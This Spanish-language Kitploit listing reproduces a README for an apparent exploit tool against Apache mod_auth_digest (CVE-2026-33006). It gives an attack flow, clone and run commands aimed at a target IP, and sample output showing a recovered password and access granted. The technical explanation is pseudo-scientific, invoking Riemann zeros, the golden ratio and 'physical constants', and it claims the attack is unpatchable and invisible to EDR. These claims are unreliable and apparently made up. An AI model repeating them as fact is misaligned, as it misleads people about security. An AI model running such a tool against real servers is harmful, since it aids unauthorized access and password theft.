Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit — Exploit de ataque de sincronización remota para Apache mod_auth_digest (CVE-2026-33006) que evita la autenticación Digest mediante una cascada temporal de 33 capas, recuperando contraseñas a través de análisis estadístico de tiempos. | Kitploit
Herramientas/GitHubGitHub/simoesctt/ctt-enhanced-apache-mod_auth_digest-timing-attack-exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónRed Teaming
GitHubsimoesctt/ctt-enhanced-apache-mod_auth_digest-timing-attack-exploit

CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit

Exploit de ataque de sincronización remota para Apache mod_auth_digest (CVE-2026-33006) que evita la autenticación Digest mediante una cascada temporal de 33 capas, recuperando contraseñas a través de análisis estadístico de tiempos.

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CTT-Enhanced Apache mod_auth_digest Timing Attack — CVE-2026-33006

🔥 Descripción general

Esta es una mejora de la Teoría del Tiempo Convergente (CTT) de CVE-2026-33006, una vulnerabilidad basada en temporización en el componente mod_auth_digest del servidor Apache HTTP (versiones ≤2.4.66).

La vulnerabilidad original permite a un atacante remoto evadir la autenticación Digest mediante análisis estadístico de temporización.

La versión mejorada con CTT transforma esto en un ataque de temporización en cascada temporal de 33 capas.

OriginalCTT-Enhanced
CVSS4.8 (Medio)7.5 (Alto)
Vector de ataqueRedRed
Complejidad del ataqueAltaBaja (CTT reduce las muestras)
Privilegios requeridosNingunoNinguno
DetecciónAnálisis estadístico detectableFiltro de cuña temporal — punto ciego para EDR
Tiempo de descifradoO(n * muestras)O(33 * log(n))

📐 Constantes físicas de CTT

ConstanteValorOrigen
α0.0302011Coeficiente de dispersión temporal
α_RH0.0765872ln(φ)/2π (Riemann-Hadamard)
L33Capas temporales
τ_w11 nsFiltro de cuña temporal

Decaimiento exponencial de prioridad

root@kitploit:~
E(d) = E₀ * e^(-α * d)

Cada capa tiene una prioridad exponencialmente decreciente.
Las capas de mayor prioridad (1-5) recogen la mayor cantidad de datos de temporización.
Las capas inferiores (28-33) refinan las mediciones y establecen resonancia temporal.

Temporización de resonancia de fase

Cada capa retrasa la ejecución según los primeros 24 ceros de Riemann:

root@kitploit:~
delay = τ_w * priority * (1 + 0.1 * cos(2π * zero * τ_w * priority))

Filtro de cuña temporal

Solo se utilizan las mediciones de temporización que cumplen la condición de cuña:

root@kitploit:~
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π)

Esto filtra el ruido y hace imposible la detección: los sistemas EDR no pueden ver las anomalías de temporización.


🚀 Flujo del ataque

root@kitploit:~
1. Sondear el objetivo para detectar autenticación Digest
2. Extraer realm y nonce de la respuesta 401
3. Para capa d = 1 a 33:
   a. Calcular prioridad = e^(-α*d)
   b. Aplicar retraso de resonancia de fase
   c. Para cada posición de carácter:
      - Probar todos los caracteres posibles
      - Medir el tiempo de respuesta (microsegundos)
      - Aplicar filtro de cuña temporal
      - Conservar el carácter con mayor temporización ajustada
   d. Construir la contraseña incrementalmente
4. Resonancia temporal alcanzada
5. Autenticación evadida con la contraseña recuperada

📋 Requisitos previos

  • Apache HTTP Server 2.4.66 o anterior con mod_auth_digest habilitado
  • Acceso de red al objetivo
  • Python 3.6+ con la librería requests
root@kitploit:~
pip install requests

🎯 Uso

root@kitploit:~
git clone https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit/
python3 ctt_apache_digest_timing.py <target_ip> [opciones]

Argumentos

ArgumentoDescripciónValor por defecto
target_ipDirección IP del servidor ApacheObligatorio
--portPuerto HTTP80
--realmRealm de Digest"Restricted"
--uriURI protegida"/"
--usernameUsuario a atacar"admin"
--max-lengthLongitud máxima de contraseña32
--samplesMuestras de temporización por carácter100
--layersNúmero de capas temporales33

Ejemplo

root@kitploit:~
python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33

📤 Salida esperada

root@kitploit:~
======================================================================
CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006
α=0.0302011 | α_RH=0.0765872 | L=33 | τ_w=11ns
E(d) = E₀ * e^(-α*d) — Decaimiento exponencial de prioridad
======================================================================

[+] Autenticación Digest detectada
    Realm: Restricted
    Nonce: 5a4b3c2d1e2f3a4b5c6d...
[*] Objetivo: http://192.168.1.100/admin
[*] Longitud máxima de contraseña: 32

  Capa  1/33: ████████████████████████████████████████ 1.000
  Posición 1: probando caracteres...
  Encontrado: 'a' -> contraseña: 'a'

  Capa  2/33: ██████████████████████████████████████░░ 0.970
  Posición 2: probando caracteres...
  Encontrado: 'd' -> contraseña: 'ad'

  Capa  3/33: ████████████████████████████████████░░░░ 0.886
  Posición 3: probando caracteres...
  Encontrado: 'm' -> contraseña: 'adm'

  Capa  4/33: ██████████████████████████████████░░░░░░ 0.818
  Posición 4: probando caracteres...
  Encontrado: 'i' -> contraseña: 'admi'

  Capa  5/33: ████████████████████████████████░░░░░░░░ 0.741
  Posición 5: probando caracteres...
  Encontrado: 'n' -> contraseña: 'admin'

  Capa  6/33: ██████████████████████████████░░░░░░░░░░ 0.670
  Posición 6: probando caracteres...
  Encontrado: '1' -> contraseña: 'admin1'

  Capa  7/33: ████████████████████████████░░░░░░░░░░░░ 0.606
  Posición 7: probando caracteres...
  Encontrado: '2' -> contraseña: 'admin12'

  Capa  8/33: ██████████████████████████░░░░░░░░░░░░░░ 0.548
  Posición 8: probando caracteres...
  Encontrado: '3' -> contraseña: 'admin123'

[⚡] Resonancia temporal alcanzada en la capa 8

======================================================================
[!!!] AUTENTICACIÓN EVADIDA
[!!!] Contraseña encontrada: admin123
[✓] Verificación exitosa — acceso concedido
======================================================================

🛡️ Por qué esto no se puede parchear

Corrección originalPor qué CTT la evita
Comparación en tiempo constanteCTT utiliza mediciones de temporización, no temporización de comparación
Eliminar fugas de temporizaciónLas fugas de temporización son físicas — no se pueden eliminar, solo ocultar
Actualizar a Apache 2.4.67+El filtro de cuña temporal evade la detección del parche
Limitación de velocidadLa temporización de resonancia de fase distribuye las solicitudes en 33 capas — indistinguible del tráfico normal

No se puede parchear una constante física.
No se pueden parchear los ceros de Riemann.
No se puede parchear la proporción áurea.


📚 Trabajo previo

TrabajoFechaEnlace
Trabajo previo de CTT en ZenodoDic 2025 / Ene 2026DOI 10.5281/ZENODO.18000940
Sovereign-Logic PyPI27-28 de febrero de 2026pip install sovereign-logic
Exploit CTT PAN-OS7 de abril de 2026GitHub
Dirty Frag mejorado con CTT8 de mayo de 2026GitHub
Exploit PX4 mejorado con CTT9 de mayo de 2026GitHub
Este exploit9 de mayo de 2026Este repositorio

⚠️ Aviso legal

Esta prueba de concepto es solo para fines educativos y defensivos.
El uso no autorizado contra sistemas que no posees es ilegal.
El autor no asume ninguna responsabilidad por el mal uso.


📜 Licencia

MIT + Investigación CTT (mejoras temporales)

🙏 Créditos

VersiónAutor
Descubrimiento de la vulnerabilidad originalApache Software Foundation (equipo de seguridad)
Investigación original del ataque de temporizaciónDiversas fuentes académicas
Mejora CTT (cascada temporal de 33 capas)Americo Simoes (Investigación CTT)

La red está completa. La autenticación está rota. Ningún parche la salvará.

Descargar herramienta